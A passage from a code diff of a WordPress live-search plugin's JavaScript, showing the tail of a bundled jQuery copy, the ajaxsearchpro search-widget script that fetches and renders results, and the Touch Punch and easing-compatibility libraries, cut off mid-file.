cg[i]);if(e)h.readyState!==4&&h.abort();else{j=h.status,l=h.getAllResponseHeaders(),m={},n=h.responseXML,n&&n.documentElement&&(m.xml=n);try{m.text=h.responseText}catch(a){}try{k=h.statusText}catch(o){k=""}!j&&c.isLocal&&!c.crossDomain?j=m.text?200:404:j===1223&&(j=204)}}}catch(p){e||g(-1,p)}m&&g(j,k,m,l)},!c.async||h.readyState===4?d():(i=++cf,ce&&(cg||(cg={},f(a).unload(ce)),cg[i]=d),h.onreadystatechange=d)},abort:function(){d&&d(0,1)}}}});var cj={},ck,cl,cm=/^(?:toggle|show|hide)$/,cn=/^([+\-]=)?([\d+.\-]+)([a-z%]*)$/i,co,cp=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]],cq;f.fn.extend({show:function(a,b,c){var d,e;if(a||a===0)return this.animate(ct("show",3),a,b,c);for(var g=0,h=this.length;g<h;g++)d=this[g],d.style&&(e=d.style.display,!f._data(d,"olddisplay")&&e==="none"&&(e=d.style.display=""),(e===""&&f.css(d,"display")==="none"||!f.contains(d.ownerDocument.documentElement,d))&&f._data(d,"olddisplay",cu(d.nodeName)));for(g=0;g<h;g++){d=this[g];if(d.style){e=d.style.display;if(e===""||e==="none")d.style.display=f._data(d,"olddisplay")||""}}return this},hide:function(a,b,c){if(a||a===0)return this.animate(ct("hide",3),a,b,c);var d,e,g=0,h=this.length;for(;g<h;g++)d=this[g],d.style&&(e=f.css(d,"display"),e!=="none"&&!f._data(d,"olddisplay")&&f._data(d,"olddisplay",e));for(g=0;g<h;g++)this[g].style&&(this[g].style.display="none");return this},_toggle:f.fn.toggle,toggle:function(a,b,c){var d=typeof a=="boolean";f.isFunction(a)&&f.isFunction(b)?this._toggle.apply(this,arguments):a==null||d?this.each(function(){var b=d?a:f(this).is(":hidden");f(this)[b?"show":"hide"]()}):this.animate(ct("toggle",3),a,b,c);return this},fadeTo:function(a,b,c,d){return this.filter(":hidden").css("opacity",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){function g(){e.queue===!1&&f._mark(this);var b=f.extend({},e),c=this.nodeType===1,d=c&&f(this).is(":hidden"),g,h,i,j,k,l,m,n,o,p,q;b.animatedProperties={};for(i in a){g=f.camelCase(i),i!==g&&(a[g]=a[i],delete a[i]);if((k=f.cssHooks[g])&&"expand"in k){l=k.expand(a[g]),delete a[g];for(i in l)i in a||(a[i]=l[i])}}for(g in a){h=a[g],f.isArray(h)?(b.animatedProperties[g]=h[1],h=a[g]=h[0]):b.animatedProperties[g]=b.specialEasing&&b.specialEasing[g]||b.easing||"swing";if(h==="hide"&&d||h==="show"&&!d)return b.complete.call(this);c&&(g==="height"||g==="width")&&(b.overflow=[this.style.overflow,this.style.overflowX,this.style.overflowY],f.css(this,"display")==="inline"&&f.css(this,"float")==="none"&&(!f.support.inlineBlockNeedsLayout||cu(this.nodeName)==="inline"?this.style.display="inline-block":this.style.zoom=1))}b.overflow!=null&&(this.style.overflow="hidden");for(i in a)j=new f.fx(this,b,i),h=a[i],cm.test(h)?(q=f._data(this,"toggle"+i)||(h==="toggle"?d?"show":"hide":0),q?(f._data(this,"toggle"+i,q==="show"?"hide":"show"),j[q]()):j[h]()):(m=cn.exec(h),n=j.cur(),m?(o=parseFloat(m[2]),p=m[3]||(f.cssNumber[i]?"":"px"),p!=="px"&&(f.style(this,i,(o||1)+p),n=(o||1)/j.cur()*n,f.style(this,i,n+p)),m[1]&&(o=(m[1]==="-="?-1:1)*o+n),j.custom(n,o,p)):j.custom(n,h,""));return!0}var e=f.speed(b,c,d);if(f.isEmptyObject(a))return this.each(e.complete,[!1]);a=f.extend({},a);return e.queue===!1?this.each(g):this.queue(e.queue,g)},stop:function(a,c,d){typeof a!="string"&&(d=c,c=a,a=b),c&&a!==!1&&this.queue(a||"fx",[]);return this.each(function(){function h(a,b,c){var e=b[c];f.removeData(a,c,!0),e.stop(d)}var b,c=!1,e=f.timers,g=f._data(this);d||f._unmark(!0,this);if(a==null)for(b in g)g[b]&&g[b].stop&&b.indexOf(".run")===b.length-4&&h(this,g,b);else g[b=a+".run"]&&g[b].stop&&h(this,g,b);for(b=e.length;b--;)e[b].elem===this&&(a==null||e[b].queue===a)&&(d?e[b](!0):e[b].saveState(),c=!0,e.splice(b,1));(!d||!c)&&f.dequeue(this,a)})}}),f.each({slideDown:ct("show",1),slideUp:ct("hide",1),slideToggle:ct("toggle",1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(a,b){f.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),f.extend({speed:function(a,b,c){var d=a&&typeof a=="object"?f.extend({},a):{complete:c||!c&&b||f.isFunction(a)&&a,duration:a,easing:c&&b||b&&!f.isFunction(b)&&b};d.duration=f.fx.off?0:typeof d.duration=="number"?d.duration:d.duration in f.fx.speeds?f.fx.speeds[d.duration]:f.fx.speeds._default;if(d.queue==null||d.queue===!0)d.queue="fx";d.old=d.complete,d.complete=function(a){f.isFunction(d.old)&&d.old.call(this),d.queue?f.dequeue(this,d.queue):a!==!1&&f._unmark(this)};return d},easing:{linear:function(a){return a},swing:function(a){return-Math.cos(a*Math.PI)/2+.5}},timers:[],fx:function(a,b,c){this.options=b,this.elem=a,this.prop=c,b.orig=b.orig||{}}}),f.fx.prototype={update:function(){this.options.step&&this.options.step.call(this.elem,this.now,this),(f.fx.step[this.prop]||f.fx.step._default)(this)},cur:function(){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null))return this.elem[this.prop];var a,b=f.css(this.elem,this.prop);return isNaN(a=parseFloat(b))?!b||b==="auto"?0:b:a},custom:function(a,c,d){function h(a){return e.step(a)}var e=this,g=f.fx;this.startTime=cq||cr(),this.end=c,this.now=this.start=a,this.pos=this.state=0,this.unit=d||this.unit||(f.cssNumber[this.prop]?"":"px"),h.queue=this.options.queue,h.elem=this.elem,h.saveState=function(){f._data(e.elem,"fxshow"+e.prop)===b&&(e.options.hide?f._data(e.elem,"fxshow"+e.prop,e.start):e.options.show&&f._data(e.elem,"fxshow"+e.prop,e.end))},h()&&f.timers.push(h)&&!co&&(co=setInterval(g.tick,g.interval))},show:function(){var a=f._data(this.elem,"fxshow"+this.prop);this.options.orig[this.prop]=a||f.style(this.elem,this.prop),this.options.show=!0,a!==b?this.custom(this.cur(),a):this.custom(this.prop==="width"||this.prop==="height"?1:0,this.cur()),f(this.elem).show()},hide:function(){this.options.orig[this.prop]=f._data(this.elem,"fxshow"+this.prop)||f.style(this.elem,this.prop),this.options.hide=!0,this.custom(this.cur(),0)},step:function(a){var b,c,d,e=cq||cr(),g=!0,h=this.elem,i=this.options;if(a||e>=i.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),i.animatedProperties[this.prop]=!0;for(b in i.animatedProperties)i.animatedProperties[b]!==!0&&(g=!1);if(g){i.overflow!=null&&!f.support.shrinkWrapBlocks&&f.each(["","X","Y"],function(a,b){h.style["overflow"+b]=i.overflow[a]}),i.hide&&f(h).hide();if(i.hide||i.show)for(b in i.animatedProperties)f.style(h,b,i.orig[b]),f.removeData(h,"fxshow"+b,!0),f.removeData(h,"toggle"+b,!0);d=i.complete,d&&(i.complete=!1,d.call(h))}return!1}i.duration==Infinity?this.now=e:(c=e-this.startTime,this.state=c/i.duration,this.pos=f.easing[i.animatedProperties[this.prop]](this.state,c,0,1,i.duration),this.now=this.start+(this.end-this.start)*this.pos),this.update();return!0}},f.extend(f.fx,{tick:function(){var a,b=f.timers,c=0;for(;c<b.length;c++)a=b[c],!a()&&b[c]===a&&b.splice(c--,1);b.length||f.fx.stop()},interval:13,stop:function(){clearInterval(co),co=null},speeds:{slow:600,fast:200,_default:400},step:{opacity:function(a){f.style(a.elem,"opacity",a.now)},_default:function(a){a.elem.style&&a.elem.style[a.prop]!=null?a.elem.style[a.prop]=a.now+a.unit:a.elem[a.prop]=a.now}}}),f.each(cp.concat.apply([],cp),function(a,b){b.indexOf("margin")&&(f.fx.step[b]=function(a){f.style(a.elem,b,Math.max(0,a.now)+a.unit)})}),f.expr&&f.expr.filters&&(f.expr.filters.animated=function(a){return f.grep(f.timers,function(b){return a===b.elem}).length});var cv,cw=/^t(?:able|d|h)$/i,cx=/^(?:body|html)$/i;"getBoundingClientRect"in c.documentElement?cv=function(a,b,c,d){try{d=a.getBoundingClientRect()}catch(e){}if(!d||!f.contains(c,a))return d?{top:d.top,left:d.left}:{top:0,left:0};var g=b.body,h=cy(b),i=c.clientTop||g.clientTop||0,j=c.clientLeft||g.clientLeft||0,k=h.pageYOffset||f.support.boxModel&&c.scrollTop||g.scrollTop,l=h.pageXOffset||f.support.boxModel&&c.scrollLeft||g.scrollLeft,m=d.top+k-i,n=d.left+l-j;return{top:m,left:n}}:cv=function(a,b,c){var d,e=a.offsetParent,g=a,h=b.body,i=b.defaultView,j=i?i.getComputedStyle(a,null):a.currentStyle,k=a.offsetTop,l=a.offsetLeft;while((a=a.parentNode)&&a!==h&&a!==c){if(f.support.fixedPosition&&j.position==="fixed")break;d=i?i.getComputedStyle(a,null):a.currentStyle,k-=a.scrollTop,l-=a.scrollLeft,a===e&&(k+=a.offsetTop,l+=a.offsetLeft,f.support.doesNotAddBorder&&(!f.support.doesAddBorderForTableAndCells||!cw.test(a.nodeName))&&(k+=parseFloat(d.borderTopWidth)||0,l+=parseFloat(d.borderLeftWidth)||0),g=e,e=a.offsetParent),f.support.subtractsBorderForOverflowNotVisible&&d.overflow!=="visible"&&(k+=parseFloat(d.borderTopWidth)||0,l+=parseFloat(d.borderLeftWidth)||0),j=d}if(j.position==="relative"||j.position==="static")k+=h.offsetTop,l+=h.offsetLeft;f.support.fixedPosition&&j.position==="fixed"&&(k+=Math.max(c.scrollTop,h.scrollTop),l+=Math.max(c.scrollLeft,h.scrollLeft));return{top:k,left:l}},f.fn.offset=function(a){if(arguments.length)return a===b?this:this.each(function(b){f.offset.setOffset(this,a,b)});var c=this[0],d=c&&c.ownerDocument;if(!d)return null;if(c===d.body)return f.offset.bodyOffset(c);return cv(c,d,d.documentElement)},f.offset={bodyOffset:function(a){var b=a.offsetTop,c=a.offsetLeft;f.support.doesNotIncludeMarginInBodyOffset&&(b+=parseFloat(f.css(a,"marginTop"))||0,c+=parseFloat(f.css(a,"marginLeft"))||0);return{top:b,left:c}},setOffset:function(a,b,c){var d=f.css(a,"position");d==="static"&&(a.style.position="relative");var e=f(a),g=e.offset(),h=f.css(a,"top"),i=f.css(a,"left"),j=(d==="absolute"||d==="fixed")&&f.inArray("auto",[h,i])>-1,k={},l={},m,n;j?(l=e.position(),m=l.top,n=l.left):(m=parseFloat(h)||0,n=parseFloat(i)||0),f.isFunction(b)&&(b=b.call(a,c,g)),b.top!=null&&(k.top=b.top-g.top+m),b.left!=null&&(k.left=b.left-g.left+n),"using"in b?b.using.call(a,k):e.css(k)}},f.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),c=this.offset(),d=cx.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(f.css(a,"marginTop"))||0,c.left-=parseFloat(f.css(a,"marginLeft"))||0,d.top+=parseFloat(f.css(b[0],"borderTopWidth"))||0,d.left+=parseFloat(f.css(b[0],"borderLeftWidth"))||0;return{top:c.top-d.top,left:c.left-d.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||c.body;while(a&&!cx.test(a.nodeName)&&f.css(a,"position")==="static")a=a.offsetParent;return a})}}),f.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(a,c){var d=/Y/.test(c);f.fn[a]=function(e){return f.access(this,function(a,e,g){var h=cy(a);if(g===b)return h?c in h?h[c]:f.support.boxModel&&h.document.documentElement[e]||h.document.body[e]:a[e];h?h.scrollTo(d?f(h).scrollLeft():g,d?g:f(h).scrollTop()):a[e]=g},a,e,arguments.length,null)}}),f.each({Height:"height",Width:"width"},function(a,c){var d="client"+a,e="scroll"+a,g="offset"+a;f.fn["inner"+a]=function(){var a=this[0];return a?a.style?parseFloat(f.css(a,c,"padding")):this[c]():null},f.fn["outer"+a]=function(a){var b=this[0];return b?b.style?parseFloat(f.css(b,c,a?"margin":"border")):this[c]():null},f.fn[c]=function(a){return f.access(this,function(a,c,h){var i,j,k,l;if(f.isWindow(a)){i=a.document,j=i.documentElement[d];return f.support.boxModel&&j||i.body&&i.body[d]||j}if(a.nodeType===9){i=a.documentElement;if(i[d]>=i[e])return i[d];return Math.max(a.body[e],i[e],a.body[g],i[g])}if(h===b){k=f.css(a,c),l=parseFloat(k);return f.isNumeric(l)?l:k}f(a).css(c,h)},c,a,arguments.length,null)}}),a.asljQuery=a.$=f,typeof define=="function"&&define.amd&&define.amd.jQuery&&define("asljQuery",[],function(){return f})})(window);
js/nomin/jquery.ajaxsearchpro.js ADDED
@@ -0,0 +1,354 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ (function( $ ){
2
+ var methods = {
3
+ init : function( options ) {
4
+ var $this = $.extend({}, this, methods);
5
+ $this.searching = false;
6
+ $this.o = $.extend({}, options);
7
+ $this.n = new Object();
8
+ $this.n.container = $(this);
9
+ $this.n.probox = $('.probox', this);
10
+ $this.n.proinput = $('.proinput', this);
11
+ $this.n.text = $('.proinput input', this);
12
+ $this.n.loading = $('.proinput .loading', this);
13
+ $this.n.proloading = $('.proloading', this);
14
+ $this.n.promagnifier = $('.promagnifier', this);
15
+ $this.n.prosettings = $('.prosettings', this);
16
+ $this.n.searchsettings = $('.searchsettings', this);
17
+ $this.n.resultsDiv = $(this).next();
18
+ $this.n.items = $('.item', $this.n.resultsDiv);
19
+ $this.n.results = $('.results', $this.n.resultsDiv);
20
+ $this.n.resdrg = $('.resdrg', $this.n.resultsDiv);
21
+ $this.n.drag = $('.resdrg', $this.n.resultsDiv);
22
+ $this.n.scrollbar = $(".scrollbar", $this.n.resultsDiv);
23
+
24
+ //$this.cleanUp();
25
+
26
+ $this.n.resultsDiv.appendTo("body");
27
+ $this.n.searchsettings.appendTo("body");
28
+
29
+ if ( $.browser.msie && $.browser.version<9 ) {
30
+ $this.n.searchsettings.addClass("ie78");
31
+ }
32
+
33
+ $this.n.resultsDiv.css({
34
+ opacity: 0
35
+ });
36
+ $(document).bind("click", function(){
37
+ $this.hideResults();
38
+ $this.hideSettings();
39
+ });
40
+ $(this).bind("click", function(e){
41
+ e.stopImmediatePropagation();
42
+ });
43
+ $this.n.resultsDiv.bind("click", function(e){
44
+ e.stopImmediatePropagation();
45
+ });
46
+ $this.n.searchsettings.bind("click", function(e){
47
+ e.stopImmediatePropagation();
48
+ });
49
+ /*$this.scroll = $this.n.results.mCustomScrollbar({
50
+ scrollButtons:{
51
+ enable:true,
52
+ scrollType:"pixels",
53
+ scrollSpeed:parseInt($this.o.resultitemheight),
54
+ scrollAmount:parseInt($this.o.resultitemheight)
55
+ },
56
+ callbacks:{
57
+ onScroll:function(){
58
+ if (is_touch_device()) return;
59
+ var top = parseInt($('.mCSB_container', $this.n.results).position().top);
60
+ scr = ((((top%($this.o.resultitemheight+3))-top)==0 && (Math.abs(top)%($this.o.resultitemheight+3))<($this.o.resultitemheight/2+3))?'first':(-(Math.abs(top)%($this.o.resultitemheight+3))-top ));
61
+ if ((Math.abs(top)%($this.o.resultitemheight+3))>($this.o.resultitemheight/2)) {
62
+ if (scr!='first') scr+=($this.o.resultitemheight+3);
63
+ $(".mCSB_container", $this.n.resultsDiv).animate({
64
+ top: -scr
65
+ });
66
+ } else {
67
+ $(".mCSB_container", $this.n.resultsDiv).animate({
68
+ top: -scr
69
+ });
70
+ }
71
+ }
72
+ }
73
+ }); */
74
+
75
+ $this.n.prosettings.click(function(){
76
+ if ($this.n.prosettings.attr('opened')==0) {
77
+ $this.showSettings();
78
+ } else {
79
+ $this.hideSettings();
80
+ }
81
+ });
82
+
83
+ var t;
84
+ $(window).bind("resize", function(){
85
+ $this.resize();
86
+ });
87
+ $(window).bind("scroll", function() {
88
+ $this.scrolling(false);
89
+ });
90
+ $(window).trigger('resize');
91
+ $(window).trigger('scroll');
92
+ $this.n.promagnifier.click(function(){
93
+ clearTimeout(t);
94
+ t = setTimeout (function() {
95
+ $this.search();
96
+ t = null;
97
+ }, 700);
98
+ });
99
+ $this.n.text.keyup(function(){
100
+ $this.n.promagnifier.trigger('click');
101
+ });
102
+
103
+ return $this;
104
+ },
105
+ destroy : function( ) {
106
+ return this.each(function(){
107
+ var $this = $.extend({}, this, methods);
108
+ $(window).unbind($this);
109
+ })
110
+ },
111
+ searchfor: function(phrase) {
112
+ $(".proinput input",this).val(phrase).trigger("keyup");
113
+ },
114
+ search : function() {
115
+ var $this = $.extend({}, this, methods);
116
+ if ($this.searching && 0) return;
117
+ if ($this.n.text.val().length<$this.o.charcount) return;
118
+ $this.searching = true;
119
+ $this.n.proloading.css({
120
+ visibility: "visible"
121
+ });
122
+ $this.hideSettings();
123
+ $this.hideResults();
124
+ var data = {
125
+ action: 'ajaxsearchlite_search',
126
+ s: $this.n.text.val(),
127
+ options: $('form' ,$this.n.searchsettings).serialize()
128
+ };
129
+ jQuery.post(ajaxsearchpro.ajaxurl, data, function(response) {
130
+ $this.n.resdrg.html("");
131
+ if (response.nores!=null && response.keywords!=null) {
132
+ var str = $this.o.noresultstext+" "+$this.o.didyoumeantext+"<br>";
133
+ for(var i=0;i<response.keywords.length;i++) {
134
+ str = str + "<span class='keyword'>"+response.keywords[i]+"</span>";
135
+ }
136
+ $this.n.resdrg.append("<div class='nores'>"+str+"</div>");
137
+ $(".keyword", $this.n.resdrg).bind('click', function(){
138
+ $this.n.text.val($(this).html());
139
+ $this.n.promagnifier.trigger('click');
140
+ });
141
+ } else if (response.length>0) {
142
+ for(var i=0;i<response.length;i++) {
143
+ var imageDiv = "";
144
+ var desc = "";
145
+ var authorSpan = "";
146
+ var dateSpan = "";
147
+ if (response[i].image!=null && response[i].image!="") {
148
+ imageDiv = "\
149
+ <div class='image' style='width:"+$this.o.imagewidth+"px;height:"+$this.o.imageheight+"px;'>\
150
+ <img src='"+response[i].image+"'> \
151
+ </div>";
152
+ }
153
+ if ($this.o.showauthor==1) {
154
+ authorSpan = "<span class='author'>"+response[i].author+"</span>";
155
+ }
156
+ if ($this.o.showdate==1) {
157
+ dateSpan = "<span class='date'>"+response[i].date+"</span>";
158
+ }
159
+ if ($this.o.showdescription==1) {
160
+ desc = response[i].content;
161
+ }
162
+ var id = 'item_'+i;
163
+ var clickable = ""
164
+ if ($this.o.resultareaclickable==1) {
165
+ clickable = "<span class='overlap'></span>";
166
+ }
167
+ var result = "\
168
+ <div class='item' id='"+id+"' style='height:"+$this.o.resultitemheight+"px;'> \
169
+ "+imageDiv+" \
170
+ <div class='content' style='height:"+$this.o.resultitemheight+"px;'> \
171
+ <h3><a href='"+response[i].link+"'>"+response[i].title+clickable+"</a></h3> \
172
+ <div class='etc'>"+authorSpan+" \
173
+ "+dateSpan+"</div> \
174
+ <p class='desc'>"+desc+"</p> \
175
+ </div> \
176
+ <div class='clear'></div> \
177
+ </div>";
178
+ result = $(result);
179
+ $this.n.resdrg.append(result);
180
+
181
+ }
182
+ } else {
183
+ $this.n.resdrg.append("<div class='nores'>"+$this.o.noresultstext+"</div>");
184
+ }
185
+ $this.n.items = $('.item', $this.n.resultsDiv);
186
+ $this.showResults();
187
+ $this.n.proloading.css({
188
+ visibility: "hidden"
189
+ });
190
+ }, "json");
191
+ },
192
+ showResults : function( ) {
193
+ var $this = $.extend({}, this, methods);
194
+ $this.scrolling(true);
195
+ $this.n.resdrg.css({
196
+ "position":"relative"
197
+ });
198
+ if ($this.n.items.length<=$this.o.itemscount) {
199
+ $this.n.scrollbar.css({
200
+ "display":"none"
201
+ });
202
+ } else {
203
+ $this.n.scrollbar.css({
204
+ "display":"inline"
205
+ });
206
+ }
207
+ var top = $this.n.resultsDiv.position().top;
208
+ $this.n.resultsDiv.css({
209
+ "top": top-100,
210
+ opacity: 0,
211
+ visibility: "visible"
212
+ }).animate({
213
+ "top": top,
214
+ opacity: 1
215
+ });
216
+ if ($this.n.items.length>0) {
217
+ var count = (($this.n.items.length<$this.o.itemscount)?$this.n.items.length:$this.o.itemscount);
218
+ $this.n.results.css({
219
+ height: (count * $this.n.items.outerHeight(true)+3)
220
+ });
221
+ if ($this.o.highlight==1) {
222
+ var wholew = (($this.o.highlightwholewords==1)?true:false);
223
+ $this.n.resultsDiv.highlight($this.n.text.val().split(" "), { element: 'span', className: 'highlighted', wordsOnly: wholew });
224
+ }
225
+
226
+ }
227
+ $this.resize();
228
+ if ($this.n.items.length==0) {
229
+ var h = ($('.nores', $this.n.results).outerHeight(true)>($this.o.resultitemheight)?($this.o.resultitemheight):$('.nores', $this.n.results).outerHeight(true));
230
+ $this.n.results.css({
231
+ height: 11110
232
+ });
233
+ $this.n.results.css({
234
+ height: $('.nores', $this.n.results).outerHeight(true)
235
+ });
236
+ }
237
+ $this.scrolling(true);
238
+ $this.searching = false;
239
+ $this.n.resdrg.css({
240
+ "position":"absolute"
241
+ });
242
+ $this.scroll = $this.n.resultsDiv.tinyscrollbar({ axis: 'y'});
243
+ },
244
+ hideResults : function( ) {
245
+ var $this = $.extend({}, this, methods);
246
+ $this.n.resultsDiv
247
+ .animate({
248
+ opacity: 0
249
+ },{
250
+ complete: function() {
251
+ $(this).css({
252
+ visibility: "hidden"
253
+ });
254
+ }
255
+ });
256
+ },
257
+ showSettings : function( ) {
258
+ var $this = $.extend({}, this, methods);
259
+ $this.scrolling(true);
260
+ $this.n.searchsettings.css({
261
+ opacity: 0,
262
+ visibility: "visible",
263
+ top: "-=50px"
264
+ });
265
+ $this.n.searchsettings.animate({
266
+ opacity: 1,
267
+ top: "+=50px"
268
+ });
269
+ $this.n.prosettings.attr('opened', 1);
270
+ },
271
+ hideSettings : function( ) {
272
+ var $this = $.extend({}, this, methods);
273
+ $this.n.searchsettings.animate({
274
+ opacity: 0
275
+ }, {
276
+ complete: function() {
277
+ $(this).css({
278
+ visibility: "hidden"
279
+ });
280
+ }
281
+ });
282
+ $this.n.prosettings.attr('opened', 0);
283
+ },
284
+ cleanUp: function( ) {
285
+ var $this = $.extend({}, this, methods);
286
+ $('body>#ajaxsearchlitesettings').remove();
287
+ $('body>#ajaxsearchliteres').remove();
288
+ },
289
+ resize : function( ) {
290
+ var $this = $.extend({}, this, methods);
291
+ $this.n.proinput.css({
292
+ width: ($this.n.probox.width()-8-($this.n.proinput.outerWidth()-$this.n.proinput.width())-$this.n.proloading.outerWidth(true)-$this.n.prosettings.outerWidth(true)-$this.n.promagnifier.outerWidth(true)-10)
293
+ });
294
+ if ($this.n.prosettings.attr('opened')!=0) {
295
+ $this.n.searchsettings.css({
296
+ display: "block",
297
+ top: $this.n.prosettings.offset().top+$this.n.prosettings.height()-2,
298
+ left: $this.n.prosettings.offset().left+$this.n.prosettings.width()-$this.n.searchsettings.width()
299
+ });
300
+ }
301
+ if ($this.n.resultsDiv.css('visibility')!='hidden') {
302
+ $this.n.resultsDiv.css({
303
+ width: $this.n.container.width()-($this.n.resultsDiv.outerWidth(true)-$this.n.resultsDiv.width()),
304
+ top: $this.n.container.offset().top+$this.n.container.outerHeight(true)+10,
305
+ left: $this.n.container.offset().left
306
+ });
307
+
308
+ $('.content', $this.n.items).each(function(){
309
+ var imageWidth = (($(this).prev().css('display')=="none")?0:$(this).prev().outerWidth(true));
310
+ $(this).css({
311
+ width: ($(this.parentNode).width()-$(this).prev().outerWidth(true)-$(this).outerWidth() + $(this).width())
312
+ });
313
+ });
314
+ }
315
+ },
316
+ scrolling: function(ignoreVisibility) {
317
+ var $this = $.extend({}, this, methods);
318
+ if (ignoreVisibility==true || $this.n.searchsettings.css('visibility')=='visible') {
319
+ $this.n.searchsettings.css({
320
+ display: "block",
321
+ top: $this.n.prosettings.offset().top+$this.n.prosettings.height()-2,
322
+ left: $this.n.prosettings.offset().left+$this.n.prosettings.width()-$this.n.searchsettings.width()
323
+ });
324
+ }
325
+ if (ignoreVisibility==true || $this.n.resultsDiv.css('visibility')=='visible') {
326
+ $this.n.resultsDiv.css({
327
+ width: $this.n.container.width()-($this.n.resultsDiv.outerWidth(true)-$this.n.resultsDiv.width()),
328
+ top: $this.n.container.offset().top+$this.n.container.outerHeight(true)+10,
329
+ left: $this.n.container.offset().left
330
+ });
331
+ $('.content', $this.n.items).each(function(){
332
+ var imageWidth = (($(this).prev().css('display')=="none")?0:$(this).prev().outerWidth(true));
333
+ $(this).css({
334
+ width: ($(this.parentNode).width()-$(this).prev().outerWidth(true)-$(this).outerWidth() + $(this).width())
335
+ });
336
+ });
337
+ }
338
+ }
339
+ };
340
+
341
+ $.fn.ajaxsearchpro = function( method ) {
342
+ if ( methods[method] ) {
343
+ return methods[method].apply( this, Array.prototype.slice.call( arguments, 1 ));
344
+ } else if ( typeof method === 'object' || ! method ) {
345
+ return methods.init.apply( this, arguments );
346
+ } else {
347
+ $.error( 'Method ' + method + ' does not exist on jQuery.ajaxsearchpro' );
348
+ }
349
+
350
+ };
351
+ function is_touch_device(){
352
+ return !!("ontouchstart" in window) ? 1 : 0;
353
+ }
354
+ })( asljQuery );
js/nomin/jquery.drag.fix.js ADDED
@@ -0,0 +1,11 @@
 
 
 
 
 
 
 
 
 
 
 
1
+ /*
2
+ * jQuery UI Touch Punch 0.2.2
3
+ *
4
+ * Copyright 2011, Dave Furfero
5
+ * Dual licensed under the MIT or GPL Version 2 licenses.
6
+ *
7
+ * Depends:
8
+ * jquery.ui.widget.js
9
+ * jquery.ui.mouse.js
10
+ */
11
+ (function(b){b.support.touch="ontouchend" in document;if(!b.support.touch){return;}var c=b.ui.mouse.prototype,e=c._mouseInit,a;function d(g,h){if(g.originalEvent.touches.length>1){return;}g.preventDefault();var i=g.originalEvent.changedTouches[0],f=document.createEvent("MouseEvents");f.initMouseEvent(h,true,true,window,1,i.screenX,i.screenY,i.clientX,i.clientY,false,false,false,false,0,null);g.target.dispatchEvent(f);}c._touchStart=function(g){var f=this;if(a||!f._mouseCapture(g.originalEvent.changedTouches[0])){return;}a=true;f._touchMoved=false;d(g,"mouseover");d(g,"mousemove");d(g,"mousedown");};c._touchMove=function(f){if(!a){return;}this._touchMoved=true;d(f,"mousemove");};c._touchEnd=function(f){if(!a){return;}d(f,"mouseup");d(f,"mouseout");if(!this._touchMoved){d(f,"click");}a=false;};c._mouseInit=function(){var f=this;f.element.bind("touchstart",b.proxy(f,"_touchStart")).bind("touchmove",b.proxy(f,"_touchMove")).bind("touchend",b.proxy(f,"_touchEnd"));e.call(f);};})(asljQuery);
js/nomin/jquery.easing.compatibility.js ADDED
@@ -0,0 +1,59 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /*!
2
+ * jQuery Easing Compatibility v1 - http://gsgd.co.uk/sandbox/jquery.easing.php
3
+ *
4
+ * Adds compatibility for applications that use the pre 1.2 easing names
5
+ *
6
+ * Copyright (c) 2007 George Smith
7
+ * Licensed under the MIT License:
8
+ * http://www.opensource.org/licenses/mit-license.php
9
+ */
10
+ (function(jQuery){
11
+ jQuery.extend( jQuery.easing,
12
+ {
13
+ easeIn: function (x, t, b, c, d) {
14
+ return jQuery.easing.easeInQuad(x, t, b, c, d);
15
+ },
16
+ easeOut: function (x, t, b, c, d) {
17
+ return jQuery.easing.easeOutQuad(x, t, b, c, d);
18
+ },
19
+ easeInOut: function (x, t, b, c, d) {
20
+ return jQuery.easing.easeInOutQuad(x, t, b, c, d);
21
+ },
22
+ expoin: function(x, t, b, c, d) {
23
+ return jQuery.easing.easeInExpo(x, t, b, c, d);
24
+ },
25
+ expoout: function(x, t, b, c, d) {
26
+ return jQuery.easing.easeOutExpo(x, t, b, c, d);
27
+ },
28
+ expoinout: function(x, t, b, c, d) {
29
+ return jQuery.easing.easeInOutExpo(x, t, b, c, d);
30
+ },
31
+ bouncein: function(x, t, b, c, d) {
32
+ return jQuery.easing.easeInBounce(x, t, b, c, d);
33
+ },
34
+ bounceout: function(x, t, b, c, d) {
35
+ return jQuery.easing.easeOutBounce(x, t, b, c, d);
36
+ },
37
